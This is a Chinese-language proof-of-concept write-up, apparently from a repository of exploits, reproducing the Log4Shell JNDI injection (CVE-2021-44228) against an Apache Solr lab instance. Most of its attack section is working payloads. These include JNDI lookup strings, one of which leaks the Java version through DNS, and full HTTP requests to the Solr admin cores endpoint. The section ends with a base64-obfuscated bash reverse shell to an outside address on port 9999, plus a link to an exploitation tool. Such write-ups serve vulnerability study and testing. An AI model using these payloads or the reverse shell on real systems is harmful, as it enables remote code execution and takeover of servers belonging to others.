Awesome-POC/中间件漏洞/Apache Log4j2 lookup JNDI 注入漏洞 CVE-2021-44228.md
2024-11-06 14:10:36 +08:00

83 lines
2.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache Log4j2 lookup JNDI 注入漏洞 CVE-2021-44228
## 漏洞描述
Apache Log4j2 是Java语言的日志处理套件使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞攻击者在可以控制日志内容的情况下通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入执行任意代码。
CVE-2021-44228常被称为`log4shell`
参考链接:
- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://xz.aliyun.com/t/10649
Payloads
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Log4Shell.md
## 环境搭建
Apache Log4j2 不是一个特定的Web服务而仅仅是一个第三方库我们可以通过找到一些使用了这个库的应用来复现这个漏洞比如Apache Solr。
Vulhub执行如下命令启动一个Apache Solr 8.11.0其依赖了Log4j 2.14.1
```
docker-compose up -d
```
服务启动后,访问`http://your-ip:8983`即可查看到Apache Solr的后台页面。
## 漏洞复现
`${jndi:ldap://${sys:java.version}.example.com}`是利用JNDI发送DNS请求的Payload我们将其作为管理员接口的action参数值发送如下数据包
```
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
```
![image-20220305220532335](images/202203052205527.png)
我们可以在DNS日志平台收到相关日志显示出当前Java版本
![image-20220305220601719](images/202203052206769.png)
实际利用JNDI注入漏洞可以使用[这个工具](https://github.com/welk1n/JNDI-Injection-Exploit)。
![image-20220305223436251](images/202203052234596.png)
利用完毕后,可见`touch /tmp/awesome_poc`已经成功被执行:
![image-20220305223503054](images/202203052235135.png)
### 反弹shell
构造反弹shell命令
```
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo=}|{base64,-d}|{bash,-i}
```
![image-20220305223522125](images/202203052235402.png)
构造Payload
```
GET /solr/admin/cores?action=${jndi:ldap://192.168.174.128:1389/chof5b} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
```
监听9999端口接收反弹shell
![image-20220305223552171](images/202203052235323.png)